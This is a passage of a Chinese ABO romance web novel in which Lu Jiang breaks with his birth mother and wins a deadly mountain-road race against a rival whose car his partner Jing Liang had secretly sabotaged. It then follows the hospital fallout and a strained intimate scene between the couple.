橘黄色的晚霞倾泄而下,卢绛不由想到了景凉,这个时间要回家了,他会在家里等他。 “阿绛!阿绛你别走!!”何今月脚步飘浮的追了上来,跑得太急摔了一跤,“阿绛!你就这么把妈妈一个人丢在这里?我还不如现在就去死!” 卢绛终究还是有些不忍,回头看了她一眼,女人满脸泪痕,摔倒时草梢灰尘沾了一头一脸,那头漂亮的长发也凌乱了。 “我扶您起来。” 何今月此时情绪冷静了些,她抹了把脸上的泪水,这才好好打量着自己近二十年没有见过的儿子。 长得很英俊高大,人看起来干净又精神,是所有妈妈都会欣慰的模样。 “刚才妈妈说话有点过份,你不要生妈妈的气,好不好?”何今月紧抓着他的手腕不放,像是抓住最后的救命稻草,“我确实不是一个好人,但是,做为一个妈妈,我是爱你的呀!” 或许吧,卢绛想。 毕竟是母子,这是无法抹去的血缘羁绊,不同于素未谋面的陌生人。 她的爱不多,而且从一开始就是有条件的。 有条件的爱,就像给人上了无数层枷锁,若自己不脱下来,一生不得自由无法解脱。 “如果你真的爱我,就不要干涉我的选择,我有我自己的人生。” 何今月嘲讽笑着摇了摇头:“卢家怎么会把你养成这么个天真无邪的性子?你以为你不去争不去抢,他们就会放过你?” “原本,这就是你的贪婪所种下的因,他们当然不会善待你和我,所以我不该去争卢家的一切,不是因为我善良或者怯懦,一个错误已经犯了,就应该正视自己要付出的代价,而不是为了挽回上一个错误的损失,一直错下去!” 何今日踉跄了两步,身子摇摇欲坠,眸光一片死寂:“呵……千算万算,算不过我自己的儿子是个窝囊废!我输了,我输了……” 卢绛讲了这么多,看来她是一个字也没听进去,夏虫不可语冰,井蛙不可语海,没必要再多废唇舌浪费时间。 见他要走,何今月拉住了他,这次她似乎也没打算再纠缠,只是说了句:“既然你不争,那就离得远远的,你自己要小心,照顾好自己。” 最后的关心让卢绛冰封的心稍微融化,“嗯,我知道。” “不,你什么都不知道。”何今月笑了声,那笑容万念俱灰中又带着几分对命运的嘲弄,她双眼一片死寂,转身时如同提线的木偶,行尸走肉。 卢绛嚅了嚅唇,目送着她进了屋,最终什么都没说,这是第一次见面,也说不定是最后一次见面。 他不确定,现在,他只想回家。 回去时车开得很快,一个多小时的车程,四十多分钟就赶了回去。 屋子里灯火通明,推开门走进玄关,卢绛闻到了饭菜的香味。 阿姨将做好的菜端上来,看到卢绛回来,高兴道:“回来得正好,小景总说你去外地了,要晚点开饭,时间掐得刚刚好。” 景凉正坐在客厅的沙发上跟谁打着电话,聊着公事,见到他回来,说了几句结语,匆匆挂断了电话。 “肚子饿不饿?去洗手吃饭。” “老婆。” 卢绛跟没骨头似的,这么大个赖在景凉身上,蹭来蹭去想得到一点安慰。 景凉心脏紧了下,也不知道又是在哪受了委屈。 “没事了,没事了,我在呢!” 卢绛原本就是借势想撒个娇,被他这么温柔的轻哄着,鼻子一酸,泪水就控制不住的涌了上来。 “老婆,除了你,没有人爱我。” “有我爱你还不够?” 卢绛抽着气儿,声色哽咽,“我想要很多。” “我会给你全部的爱,你想要什么我都给你,别难过,嗯?” 卢绛将脸埋在他的肩上,大个子都要躬成了个大虾米,又可怜又好笑。 “嗯!”卢绛沉闷的重重应了声,泪水洇湿了景凉的肩膀。 “来,把手手洗了,吃饭饭。” “你带我去。” 景凉失笑,“好,我带你去。” 景凉就这样搂着他,带他来到洗手间,挤出洗手液替他洗了手,拿过柔软的毛巾替他擦干。 又拿了洗脸巾,替他擦了把脸,他一脸温柔地笑着,一点也没有嘲笑的意思。 “要不要吃完饭跟我说说呢?” “好。” “先把肚子填饱,才能想别的。” “好。” “那我们出去吃饭。” “好。” …… 晚上九点卢绛泡了澡率先爬床上了,没有睡觉也没有做别的,就只是一心等着景凉洗好澡上床陪他。 景凉没耽搁太久,头发还是湿的,只搭了一条干发巾就出来了。 卢绛见状默默爬起来拿过干发巾给他慢慢擦着头发。 “你怎么不把头发吹干?” 景凉从床头上拿过一瓶晚霜擦着脸,一切都显得匆促,“这不是想听听我的alpha有什么苦恼吗?” “其实,也没什么。” “会让你难过的事情,一定不是小事,说说吧。” 卢绛十指捏揉着手里潮湿的干发巾,艰涩道:“我今天去见她了,那个生我的女人……” “感觉怎么样?” “不好,一点都不好。” “怎么说?” “她说,我最争气的一件事就是我生来是个alpha。” 景凉心脏被刺痛了下,“她这么说你的?” “嗯……”卢绛深吸了口气,调整了下略失控的情绪,“她想让我争卢家的继承人之位,我没有答应,然后她特别生气,可这些都不是让我最难过的。” “那什么才是让你难过的?” “我走的时候,她拉着我的手,让我照顾好自己,让我小心……我不喜欢这样,为什么人是这样呢?为什么要对一个工具又有感情?就不能好好区分吗?工具就是工具,喜欢就是喜欢,一边伤害你还要说爱你,这种人真的很坏!” 卢绛说着又红了眼眶,十指紧握成拳,压抑着心中悲伤的情感。 景凉心疼地抱紧了他,“我知道了,这种人确实很坏,坏透了!叫人爱恨不能,想放又放不下,对不对?” “嗯,我宁愿她坏得更彻底一点,不要对我有感情,这样我就能毫无留恋的放下。” “那你现在是什么打算?” 卢绛眼里的泪水不知何时风干,只剩下绝决,恨声道:“我不要这种施舍,也没有人可以再伤害我,我不会被任何人再牵着鼻子走!” “其实你心里第一时间就有了答案,只是因为要割舍,所以还是会难过?” “因为……因为有过一点期待。” “阿绛,他们不配让你这样难过,所有伤害利用抛弃你的人,他们都不配。” 景凉用力压下心口翻涌的心疼与难过,他从来没有见过,像卢绛这样至纯至善之人,到底要被伤害到什么程度,才学会了像现在这样能一边哭着一边说没有人可以再伤害我? 很神奇,在景凉温柔的安慰声中,卢绛的情绪很快平静下来,所有悲伤与委屈通通烟消云雾,再无痕迹。 “我知道,以后我再也不会为这些人浪费我的感情和泪水,可是凉哥,我只有你了,如果以后……以后连你也不要我,我会死的。” 景凉用力闭了闭酸涩的双眼,哽咽着轻应了声:“我不会不要你,你都不知道,我有多爱你,我每天都在想要怎样才能表达我对你的喜爱?我想把一切都给你,哪怕是我的命。” 这还是景凉第一次这么直白的表达内心的爱意,他是个很骄傲的人,又在尔虞我诈的环境中龃龉独行这么多年,哪怕再喜欢也不会轻易显露出来。 但是他毫不在意的剖开自己的胸膛,想让卢绛看到那颗为他跳动鲜红的心脏。 第64章 第64章 不是要玩吗?当然要玩刺激一…… 卢绛珍惜的吻了吻他的眉眼, 缱绻的吻最后落在唇上,辗转碾压厮磨,虔诚得仿佛要将自己的灵魂献祭。 * 黎天耀生日宴的当晚,半个帝都的商圈大佬都来了。 虽说是黎天耀过生日, 但大伙儿的注意力都在首富那一家子身上。 对于那个突然回归的‘私生子’, 所有人都是一副看好戏不嫌事大的心,想着那个‘私生子’回到卢家日子也不会好过, 还敢来黎家家主的生日宴, 这不是自取其辱么? 但出乎所有人意料之外, 黎花与卢家的私生子状似亲密, 反而对原来卢家唯一继承人十分冷淡。 各种猜测开始萌芽。 黎花带着卢羡先去认了黎家的人,黎天耀不但没有一丝排斥,看样子十分重视的拉着卢羡说了很多。 一时间宴会上所有的视意力集中在了卢羡身上,卢家将他带来的目的原本是借此向外公布他的身份, 一时私生子的传闻被打破。 黎花的态度叫人难辩真假, 似乎与卢羡的关系与卢绛的还要好上许多。 难道黎花曾经生下过两个孩子? 反观卢绛被卢家与黎家人冷落在一旁,往日被簇拥的景象不在, 难免更显得落寞孤独。 看来卢家是要换继承人了。 之前帝都关于卢绛的传言就没有什么正向的, 一个纨绔子弟,只知道吃喝玩乐的草包, 如今有更适合的继承人, 会被无情的抛下也不难解。 所有人以为卢绛的沉默寡言是被冷落的不适, 只有卢绛自己最清楚, 这里的一切都让人感觉窒息。 只是苦于一开始大部分的注意力都在他身上, 现在所有的注意力终于被卢羡转移,他才趁机偷摸着离开了宴会大厅。 后院十分空旷,开满紫藤花的树下有一排秋千, 卢绛抹去秋千上的落花,悠然的坐了下来。 五月中旬的夜晚很舒适,晚风轻送来不知名的花香,让卢绛昏昏欲睡。 再等一会儿到九点,出去打个招呼应该就能走了。 “哟,表弟你在这儿呢?” 身后传来黎湛的声音,叫卢绛紧闭了闭眼,心中一阵烦闷。 卢绛深吸了口气回头看去,只见他身边还跟着好几个富二代,卢羡就在其中。 在这么短的时间,富二代的圈子就已经成功交迭阶级主心,拥立卢羡了。 “宴会快要结束了,我们打算去附近的酒吧玩儿,你要一起吗?”黎湛的语气不再有讨好的意味,而是带了一丝莫明讥诮。 卢羡双手插兜意味深长的注视着卢绛,沉默没有说话,似乎想看他的反应,从被人拥趸的卢家继承人,到现在一个人坐冷板凳,这样的落差应该会很有趣。 不过卢绛的反应让他很失望,从始至终,卢绛都是那一副冷淡的表情,仿佛天塌了都不关他的事的淡然。 “你们去吧,我要回家睡觉。”卢绛想也未想便拒绝了他们。 “别啊!”陈又铮也不知哪儿来的胆子,上前就好哥们的搂过卢绛的脖子,行为止举很嚣张,“之前不是说好回来要陪兄弟们好好耍耍?不会是要回去陪那位小景总吧?” 卢绛闻到了他身上溢出来的alpha信息素,这个绿茶味儿让卢绛心口的血液翻涌,他怕自己会控制不住打人。 “不了。”卢绛强迫自己淡定下来,紧了紧拳头,随后若无其事挥开了陈又铮搭上来的手臂,抬眸看向卢羡,“哥,我想回家。” 卢绛一字一顿地重述自己的要求,他知道卢羡不发话,这群人不会那么容易放他离开。 卢羡盯着他笑而不语,如同一条随时要将猎物囫囵吞下腹的毒蛇,仿佛在观察着他临死前的一举一动。 见卢羡不说话,所有人立即明白了过来,一个没有信息素的低等alpha,在卢家人允许的前提下,可以随意搓揉。 陈又铮提高了嗓门笑道:“我们卢二少真是深情!前段时间发生的事大家可都见识了,那样一个omega就把卢二少迷得晕头转向,看来是没吃过好的,走嘛,哥几个带你去玩玩,玩过有趣的,那种索然无味的omega算个屁!” 卢绛的忍耐已经到达了极限,此时又听到卢羡说道:“大家都这么热情,弟弟怎么好扫了大家的兴?” 卢绛脸上的肌肉不受控制的跳动了两下,内心与表面的究极反差,只能让他挤出一个怪异的笑容,“泡吧有什么意思?陈又铮……” 陈又铮也不知怎的,被他这么一喊,心脏停顿了两下,“卢二少有什么建议?” 卢绛:“要不,我们去赛车吧?” “赛车?”陈又铮一脸兴奋,“赛车好啊!正好,咱们也好久没比一比了,你不是好久没玩了吗?今儿有兴趣了?” “不去世博园赛车场。” “那去哪儿?” “静山。” 死一般的沉寂过后。 其中有人小声又紧张的说了句:“那里的场地不是早就被封了吗?很多处不符合国际赛车道的标准,要穿过茂密丛林的那道1-3号弯极其狭窄,还没有护栏,以前经常发生腾空,侧翻掉下悬崖的,死了很多人。” 卢绛面不改色道:“不是要玩吗?当然要玩刺激一点的。” 陈又铮咽了口唾沫,脸上的笑容渐渐难堪,“玩命是吧?” 卢绛的声音轻飘飘的却带着让人无法乎视压迫感:“怎么,你怕了?既然你把自己那条狗命看得那么金贵,就不要出门随便乱咬人啊。” 陈又铮挑衅的笑了几声:“抱歉,抱歉,谁叫你的omega那么骚,乱勾引人!” “发情的公畜是这样的,”卢绛嘲讽一笑:“见着个omega都觉得是在勾引他。” 陈又铮脸上的笑容彻底的消失了,两人之间剑拔弩张。 卢绛:“你要是没这个胆量比,大喊三声自己是个随地发情乱咬人的贱畜,我可以当作今晚什么都没发生。” 这种性命悠关的事情,没有人敢起哄。 就连卢羡也不由对他另眼相看,胆量是有几分,就不知是不是个有勇无谋的莽夫? “cao!”陈又铮好面子,哪能在所有人面前这么跌份儿?要是今晚真认怂了,以后他在圈子里还要不要混? “比就比!卢二少非得找死,那谁能拦着不是?” “立生死状,比赛期间任何一方要是意外丢了性命或者终身残废,另一方概不负责。” 这赌得太大了,终于有人觉得不妥当,提出了异议。 “算,算了吧?大家都一个圈子里玩的,以后抬头不见低头见,玩这么大,不太好吧?” “就是,卢二少既然不想跟咱们玩,那就不勉强了,咱们自个儿玩。” “要不要找家长啊?” …… 陈又铮其实有些胆怯了,他希望卢绛自己先松口,但卢绛一脸绝决,不但没有一丝退让,眼底仿佛还跳跃着两撮兴奋的火光。 一行人各自开着跑车赶到了静山公路。 这里已经荒废多年,公路两边杂草丛生,显少会有人来。 两人找了公正人,立下了生死状书,这相当于是一份双方免责协议,基于双方公平且自愿的前提下,卢绛几乎是眼都不眨的签了字。 陈又铮见他签得那么果断,自然也不想认怂,跟着快速签了字。 比赛规则只跑一圈,谁先到达赛道终点谁赢。 即使只是跑一圈也能要人老命,特别是有一段盘旋又极窄的山道,加上晚上视野受限,难度与危险系数极大。 跟死神贴脸开大,活着除了技术还要有很好的运气。 在倒计时最后三十秒,卢绛拿手机给景凉发了一条消息。 【卢绛:会晚点回家,等我。】 那端很快回了消息。 【景凉:要准备宵夜吗?】 【卢绛:要。】 之后,卢绛将手机关机了,他要全身心的投入到这场比赛中,带着从所未有的决心与信仰。 随着发令枪的声音响起,一蓝一白两辆赛车如陨落的流星冲向寂静无垠的公路尽头。 赛车发动机刺耳的嗡鸣声在划破暗夜的沉寂,再两公里便到了赛道最险峻的地方。 山道一侧是三百多米的悬崖,好在这段时间气候干燥,若是碰上下雨天,不会有人敢来这里找死。 卢绛练了好些时间,原本这具身体就酷爱极限运动,对赛车这种事得心应手,卢绛与这具身体高度融合后,发挥到了极至。 陈又铮心绪不宁,有点想打退堂鼓,卢绛也不知道是不是故意的,明明可以超车,但就是不超,时不时在后面撞他几下,还老别他的车,弄得他惊恐的情绪更甚,几次想破口大骂。 就在上山道的拐弯处时,卢绛一个飘移超过了陈又铮顺利进入山道。 陈又铮心脏吊到了嗓子眼,他后悔了,想倒车已经来不及,他想踩刹车缓下速度,连踩了好几次,却发现车子的速度根本停不下来。 “怎么回事?”他的车两天前才送去做的保养维护,怎么可能会出现刹车不灵的情况?! 卢绛匆匆瞥了眼后视镜里的情况,陈又铮好像在找死,果不其然他的车子在下一个拐弯处因速度失控冲下了悬崖。 卢绛呼吸一窒,亲眼看到车子失重冲向悬崖还是会心里发毛,但此时他也未管身后的情况,集中了注意力加快速度跑向终点。 大约二十多分钟后,大伙儿看到卢绛那辆深蓝色的跑车回来了,所有人迎了上去,抑制不住紧张又兴奋的心情。 “卢少牛逼啊!” “我的妈呀,吓死人了,能活着回来我都佩服。” “对啊,何况是晚上。” “那个,陈少怎么还没看到影子?” …… 卢绛摘下赛级头盔,风轻云淡说了句:“他掉下去了。” 半夜十一点,荒了许久的静山在今夜格外喧嚣,救援队与医护人员都来了。 第65章 第65章 以后我也会赚很多钱的,我可…… 闻迅赶来的还有双方的家长, 警察带卢绛回了局子里做了笔录,这顶多算是民事纠纷,性质是‘互殴’。 乔秘书过来签了字把人领走,没有直接回卢家, 而是去了医院。 卢绛全程高度配合, 显得异常乖顺。 乔秘书看着他都有些不忍心,只说了句:“卢董很生气, 好在人还有一口气在抢救, 只是终身残废了。” “嗯。”卢绛十指轻抵, 目光放空, 也不知在想些什么。 乔秘书是看着他长大的,也不由惋惜轻叹,“其实卢董对您还是有点期待的,出了这个事您以后的日子怕是很难, 你哥哥……” “我没有哥哥。” 乔秘书呼吸一窒, 又听到卢绛轻飘飘的说了句:“我也没有妈妈,至于他要怎么生气, 想要把家产给谁, 好像也与我无关了。” 之前他以为卢佑铭是个好爸爸,甚至为此还感到很高兴, 从未有过父爱的他, 对这个人也有过亲近、尊敬的心情。 车子停在了市中心医院的地下停车场。 上了电梯, 乔秘书还在叮嘱着:“等下见了卢董要乖一点, 别回嘴, 他在气头上,打骂你两句你得受着,明白了吗?” “嗯, 明白。” 乔秘书安慰的拍拍他的肩膀:“也没什么大事,能用钱摆平的事情,都不算大事。” 电梯门‘叮’的一声打开,卢绛才刚走出电梯,迎面一道熟悉的身影飞奔而来,紧抓着他的手腕不放,眼眶绯红的问他:“你受伤了没有?” “凉哥?你怎么……” 他还穿着睡衣和拖鞋,头发也乱糟糟的,抓着他手腕的指尖冰凉,浑身在微微颤抖。 卢绛赶紧将自己的长外套脱下给他披上,在众目睽睽之下,带着景凉转身走到了楼梯间。 “我没事,我没事。”卢绛将他紧拥在怀里,一声声安抚着他,“你别担心,在没有把握之前,我不会拿自己的性命开玩笑。” 担心与后怕积攒到现在,终于找到了一个宣泄口,景凉哽咽出声:“你干嘛做这些危险的事情?你怎么那么傻?我跟你说过,对付陈又铮我有成算,拿你自己的命去赌,那狗东西值得吗?万一你有个什么,我怎么办?!” 卢绛擦着他脸上的泪水,心中的郁结与愤怒已解,不免又有点高兴:“乔秘书说他终身残废了,他活该!” “嘘!”景凉下意识捂住了他的嘴,喘了口气,无奈道:“你最厉害了!不过今晚戏还是要做足,我知道你现在无意与那些人争夺什么,但不与你爸爸撕破脸皮多一个保障,黎花与她那个儿子不会这么轻易揭过这些年受的委屈,动不了你爸爸,一定会拿你开刀。” “好,我知道,来之前乔秘书也这样吩咐的。” “哦?那看来这个乔秘书对你还是有几分忠心。咱们不能在这久呆,快出去吧。” “等等。” “嗯?” 卢绛将披在他身上的长外套细致的给他穿上,又扣上了几颗扣子,了下他凌乱的头发,还记得上一次他慌乱中也是穿着睡衣和拖鞋就出来了。 明明他平时一丝不苟,稳重自持。 卢绛心口淌过一股暖流,没忍住用力吻了下他的唇,这才笑着紧牵过他的手,走出了楼梯间。 此时卢绛的表情已经无痕迹的转换,变得深沉凝重。 陈万川一副万念俱灰的样子,无力瘫坐在走廊的椅子上,静等手术室里的结果。 一旁的的陈母看到卢绛过来,激动得冲上前就要打人,景凉哪会给她动手的机会,一把扣过她的手腕,沉声道:“陈太太,有话好好说!” 陈母已经被儿子终身残废的结果刺激得失去了智,开启无差别攻击。 “你算个什么下贱的东西?一个人尽可夫的omega连卢家的门都过不去,还想来管这闲事?” 卢绛本想看在她儿子变成残废的份儿,让让她,顶多让她打一巴掌出出气,可当听到从她嘴里的污言秽语时,卢绛血液逆流,心口堵得厉害。 “你又算个什么东西?”卢绛咬牙切齿的反问她,将景凉护在了身后。 陈母眼眶发红,嘶喊着开始发疯,跳着脚想去拽卢绛的头发,被卢绛毫不客气的推倒在地上。 “你这个没教养的小畜生!畜生!!我儿子变成这样,我要你拿命来还!我要你死!啊啊啊……我的小铮啊!” 黎花拿出为人母的威严朝卢绛发号施令:“你还站在那里干什么?跟陈夫人道歉,这般粗俗无礼,出去不要说是我们卢家的人。” 陈母怒斥道:“不必了!我儿子现在还躺要急救室生死难料,他轻飘飘的一句道歉,能抵什么用?” 卢羡上前温文尔雅的将陈母扶了起来,一脸沉痛自责道:“是我没有管教好弟弟,才让他惹出这样的祸事,我们卢家会负责到底的。” 所有人挨个表演完,终于轮到卢佑铭了,按之前乔秘书的嘱咐,他该是责备愤怒的,却不想竟出口维护起卢绛。 “陈夫人,陈总,我现在非常解你们的心情,都是有孩子的,现在出了这种事谁都不想,毕竟是孩子之间的玩闹,我听说他们是签了免责协议的,也没有一方被迫的现象,今天我家阿绛是运气好才全须全尾的回来了,要是他运气不好,这种情况我又该去怨谁?” 陈母不敢置信的瞪大着双眼,看向卢佑铭,“卢董,都到了这个时候,你还在维护这个小畜生?他在帝都名声谁不知道?今天是我家小铮倒霉,下一次,下下次,你能保证护着他一辈子?” 卢羡双手悄悄紧握成拳,眸光冷冽的投向不远处的卢绛。 他的命可真好啊! 从小到大仗着父母的宠爱为非作歹,十九岁顺利考进名校,二十岁还有一个这么优秀的omega对他死心塌地。 哪怕捅了这么大的篓子,卢佑铭跟眼瞎了一样,处处维护! 老天真不公平! 卢佑铭装模作样的轻叹了口气:“陈夫人,从前不论,今晚的事谁没有谁对谁错,你看,你都把孩子吓坏了。来,过来。” 说着,朝卢绛招了招手。 卢绛不动声色朝卢佑铭走了过去。 “你跟人家父母好好交待,今晚到底是个什么情况?” “嗯。”卢绛一副乖顺的模样,将今晚的事情陈述了一遍。 “整个过程就是这样,陈少是自愿跟我比的,之前我们也常一起赛车,没想到……叔叔阿姨,我很抱歉,其实我今晚本来是要回去睡觉的,他们非要拉着我一起玩,我也不想。” 陈万川出着粗气,笑容扭曲越过卢绛看向他身后的景凉,说着口是心非的话:“是,这确实怪不了卢二少,这是命。” 景凉迎上陈万川怨毒的眼神,摒住了呼吸。 看来,接下来不会太平了。 千算万算,没想到会在今晚,还把卢绛扯了进来。 手术一时半会儿不会结束,全国最顶尖的专家能调来的全部都调过来了,估计要等到天亮。 出于人道主义关怀,卢家的人现在还不能走,至少卢绛不能走。 看了眼时间,已经快到凌晨,卢绛扣过景凉的手,低语:“我先送你回家?” 景凉眼里有红血丝,他平时睡眠时间本就不太够。 守在这里说话不方便,景凉便以让卢绛送他下去为由,私下说些话。 景凉车内,彼此默了许久。 卢绛抬头看向他:“凉哥……” 景凉关掉了自己车内的行车记录仪,才问道:“你想说什么?” “陈又铮的车……”卢绛终究没问出口。 倒是景凉十分坦荡,笑道:“你猜的没错,他的车是有点问题,不过问题也不是很大,他只要自己不找死,就不会像今天这样严重。” “我是不是做了多余的事?”卢绛眉头紧锁,“会不会被查到?” 他跟景凉关系不一般,陈家人会顺着他联想到是景凉动了手脚,如果再等上一些时间,或者是和别人在普通的赛车道上,即使陈家怀疑,也毫无根据。 “你不觉得我恶毒?手段很下作?” “他欺负你的时候,也没有受到任何惩罚,一报还一报而己,他活该!” 景凉看着他,温柔笑了笑,伸手轻揉了下他的头发:“放心,我找的人很专业,他的技术查不出任何问题,不过姓陈的在怀疑我,他怀疑我也正常,肯定会有后招。” 说到这个,景凉神情凝重,姓陈的还有可能会对卢绛下手。 “要不要请几个保镖?” “嗯,我会考虑的。这件事了结,你还是尽快回学校去吧,没必要最好近期就别回帝都了。” “那我们不是很久见不到了吗?” “我去找你。” 卢绛恢复了点精神,“你工作很忙。” “适当放一放也没什么。”景凉顿了顿,又道:“你父亲的态度很耐人寻味。” “怎么说?” “如果黎花那对母子对你没有任何责备,那么你父亲就会狠狠教训你一顿,但黎花母子开始将矛头指向你时,卢佑铭才会站在你这边,看似替你说话,实则在激化你和黎花母子的矛盾。” 卢绛头贴着车窗,一脸疲惫:“我要是有个小岛就好了。” 景凉不由失笑:“我给你买。” 卢绛俊脸微红:“那不行。” “怎么不行了?” “这不是吃软饭吗?” “哈哈……”景凉笑出声来,“我不在意这些,只要你喜欢就好。” 卢绛越过座椅用力抱过他,拿鼻尖在他颈窝拱了拱,轻嗅着他身上的信息素,然后轻轻吻上他的唇。 “凉哥你信我,以后我也会赚很多钱的,我可以养老婆。” 第66章 第66章 我愿意让你永久标记 景凉看着他, 心软得一塌糊涂,摸了摸他的脸,言语里的宠溺都要溢满,“好, 我信你, 阿绛最厉害了。” 卢绛被哄得心花怒放,仿佛有使不完的劲儿, 所有的阴霾在这一瞬间灰飞烟灭, “我来开车。” 两人换了座位, 车子快速驶出地下停车场。 将景凉送回他的别墅, 卢绛洗了个澡换了一身干净的衣服,此时景凉已经躺在床上半睡状态。 卢绛轻手轻脚上前,吻了吻他的唇:“凉哥,我要走了。” 景凉强撑着快要粘在一起的眼皮, 轻应了声, 视线朦胧中送他离开了房间,门轻轻关上。 卢绛开车回到医院时已经凌晨两点, 家里阿姨送了夜宵过来。 黎花已经回去, 卢羡还在陪卢佑铭说着话,隔得太远, 卢绛听不清楚。 只觉这父子俩还是过份生疏, 卢羡的表情面对他肉眼可见的僵硬。 看到卢绛过来, 卢佑铭脸也跟着拉下, 卢羡看着他的表情变化, 觉得这才是父亲真实的反应,那种没有隔阂,不会说两句话还要认真考虑的小心翼翼。 “爸爸……” “你还知道过来?” 卢绛深吸了口气, 看了眼之前陈万川坐过的椅子,问道:“陈叔叔他们去哪了?” “被医生叫过去商量手术的情况。” “哦。”说实话卢绛一点也不关心陈又铮是死是活,他只想快点熬完这一夜,然后回去补个觉。 卢佑铭补了句:“好像是另一条腿也要高位截肢,没办法保了,他们接受不了这个现实,闹了很久不肯签字。” 卢绛:“这么严重?” 卢佑铭一眼看穿了他装的,冷哼了声:“我还以为你这一两年学乖了,看来是憋着大的啊!” 卢绛语塞。 卢羡坐在一旁,仰靠在椅子上闭目养神,却将他们的谈话听了个清楚。 卢佑铭不由怀疑:“这件事情跟姓景的有没有关系?” 卢绛惊诧:“跟他有什么关系?” 卢佑铭盯着他那副呆蠢的模样,演得很好,一般人看不出破绽。 他又看了眼另一个儿子,说道:“阿羡,你先回去吧,回去多陪陪你妈妈。” 卢羡不动声色起身轻点了下头:“那爸,弟弟,我先回家了。” 卢绛默声朝他挥挥手,卢羡没看他,转身大步离开了医院。 “他现在不念书吗?”卢绛疑惑的多问了句。 “我让乔秘书带他去公司实习了,你怎么突然问起这个?” “可他看着跟我年纪差不多大。” “阿羡很聪明,乔秘书说他学什么都很快,做事情也很专注,到时候把他放国外那边分公司锻炼个两年再回来,可比你强多了!” 卢佑铭又开始了,想激起他的胜负欲。 卢绛若有所思点头:“那是比我强,做卢家的继承人很合适。” 卢佑铭眼神黯下,“你就没想过,将来有一天要继承公司,拿到公司股份,做个人上人?” “爸,你就不关心我是从什么时候开始,知道这个真相的么?” 卢佑铭沉默。 卢绛:“我之前会那样,难道不是您和……和她的放纵?你们到底想要让我变成一个什么样的人呢?” “你自己想变成一个什么样的人?”卢佑铭问他。 卢绛嘲讽笑了声:“在最脆弱敏感的年纪,父母亲到底爱不爱我已经消耗了我所有的精力,您怎么会觉得呆在深渊里的人,会有这样清醒的人生观和价值观?” 呆在深渊的人,每天都要和最极端的负面能量做斗争,已经失去了快乐的能力。 所以好好活下去都要拼尽全力,到底要有多坚强,才不会被这世间的情感所累?可他们毕竟是俗人啊! “那你现在觉得自己是呆在上面,还是呆在深渊?” “我会呆在我老婆身边。” 卢佑铭狠狠给了他一个白眼,父子俩之间的话题不欢而散。 直到第二天九点,整个手术完成,但人还在icu里观察,暂时没有脱离生命危险。 陈万川显得很镇定,镇定得不太寻常。 卢佑铭表示沉痛的心情,承诺之后的治疗卢家会承担。 毕竟都是老狐狸,双方表面功夫做得挺足,待陈万川一走,卢佑铭整张脸难看得要命,啐了口晦气。 卢绛跟在他身后,心情凝重,陈万川种下了这颗仇恨的种子,他们只能防得了一时,防不了一世,他有心要报复,总能找着机会。 除非…… 以攻为守,拔了他的尖牙利瓜,以绝后患! 卢绛眸子闪过一丝冷冽肃杀之气,卢佑铭看过来时,又恢复一惯呆蠢无害的模样。 “你怎么看?” 卢绛看似认真的想了想,说:“陈叔叔也挺可怜的,但只要补偿到位,他应该能慢慢放下心结。” 卢佑铭眉头紧锁:“你真这么想?” “嗯,不然……还怎么想?” “20岁了,怎么还是这么天真?”说完这句话,卢佑铭头也不回的带着乔秘书走了。 从医院回来,一身的消毒水味,卢绛拿过一套居家服冲了个澡,飞扑上床,抱过景凉枕过的枕头,深吸了好几口气,这才舒坦。 这一觉卢绛睡到了下午,他还做了一个带颜色的梦,醒来时小绛绛还支棱着。 卢绛心里一阵空虚,翻了个身看到阳台上正在打电话的景凉,心神荡漾。 景凉转身刚巧他他的视线在微热的空气中交织缠绕。 他挂了电话,推开玻璃门走了进来。 “醒了?我让阿姨准备晚饭,睡了一天应该饿了。” 景凉走到床边,被卢绛一把拉进了怀里,放肆的亲。 “想做。” 景凉低笑了声:“天还没黑呢!” “一定要等天黑吗?” 卢绛抓过他的手,往他手心蹭了蹭,“他说想你了。” “小流氓。” 卢绛将他高定的衬衫衣?拽出,推上,继续之前那场未尽兴的美梦。 两人在房间里呆到晚上八点半,卢绛才消停了下来。 景凉脱力的背靠在他的怀里,后颈的咬痕很深,卢绛成结的时候有点失控,差点就被永久标记了。 卢绛意犹未尽的轻轻舔咬着他后颈的咬痕,不肯放他下去。 一个缠人,一个无底线的放纵。 卢绛宽大的手掌裹上omega相对柔软的小腹,“哥,成结了……真的不会怀孕吗?” 景凉抽了口气,“你现在才担心,那你之前为什么不控制一下自己?” 卢绛有些自责:“我控制不住我自己。” 景凉:“你想永久标记我?” 卢绛心脏紧了下,“你不愿意的话,我不会这样做的。” “要是我愿意呢?” 卢绛却沉默了。 景凉有些不高兴,他一个omega都愿意让他永久标记了,怎么关键时刻他反倒犹豫起来? “你不想吗?” “永久标记对omega来说似乎没有什么好处,如果每周稳定给临时标记,发情期有信息素抚慰,也是一样的。” 景凉肢体有些生硬的推开了他,起身准备去浴室。 卢绛心里一慌,想着绝不能这样放他离开,便从背后抱住了他。 “凉哥,老婆……”卢绛语气难掩的慌张:“你是不是生气了?” “你到现还不能确定能陪着我一辈子?” 卢绛不知道该如何让他明白自己原本不属于这个世界,万一有一天…… “凉哥,其实在两年前,这个世界的卢绛已经死掉了,我是从别的世界来的,应该说是一个平行世界,那里没有abo,只有男人和女人两个性别。” “放开!” “老婆,你不信我吗?” 景凉真的生气了:“你再编一个试试?” 卢绛呼吸一窒,他挣扎得厉害,只得先放开了他。 景凉将浴室的门摔得很用力,卢绛难受得连呼吸都感觉困难。 吃晚饭的时候,卢绛虽然没胃口,但他实在太饿了,还是吃了三大碗。 景凉越看越憋屈,感情难受的只有他! 卢绛主动将床单换了新的,晚上虽然依旧睡在同一张床上,但是景凉与他隔得远远的,不让他碰。 直到凌晨两点多,卢绛以为景凉睡着了,慢慢往他那边挪去,才刚探出一只手臂,便听到景凉冷声低斥了声:“别碰我,离我远点。” 卢绛呼吸一滞,委屈的默默转过身挪到了床沿边抽噎。 原本冷了的心肠听到隐约的抽噎声,又开始抽痛,景凉烦闷的翻了个身,盯着alpha那挺阔结实的后背一颤一颤的,满是无可奈何。 “我又没有说你什么,你怎么倒先哭了?” “我没有……哭。”卢绛努力控制着自己的情绪,尽量让呼吸平稳。 “转过来我看看?”景凉伸手去扒拉他。 卢绛可能觉得丢脸,用力攀着床沿,愣是没扒拉动。 到头来,景凉只得贴过去哄他,“你总得告诉我,你在难过什么?” 好像是他受了天大的委屈。 ‘别碰我’和‘离我远点’其中任何一句话都已经让卢绛伤心自闭,不是景凉三言两语就能哄好的。 “说话,嗯?”景凉有些无力,轻抚着他的头发,想让他放松下来。 “你不信我。” 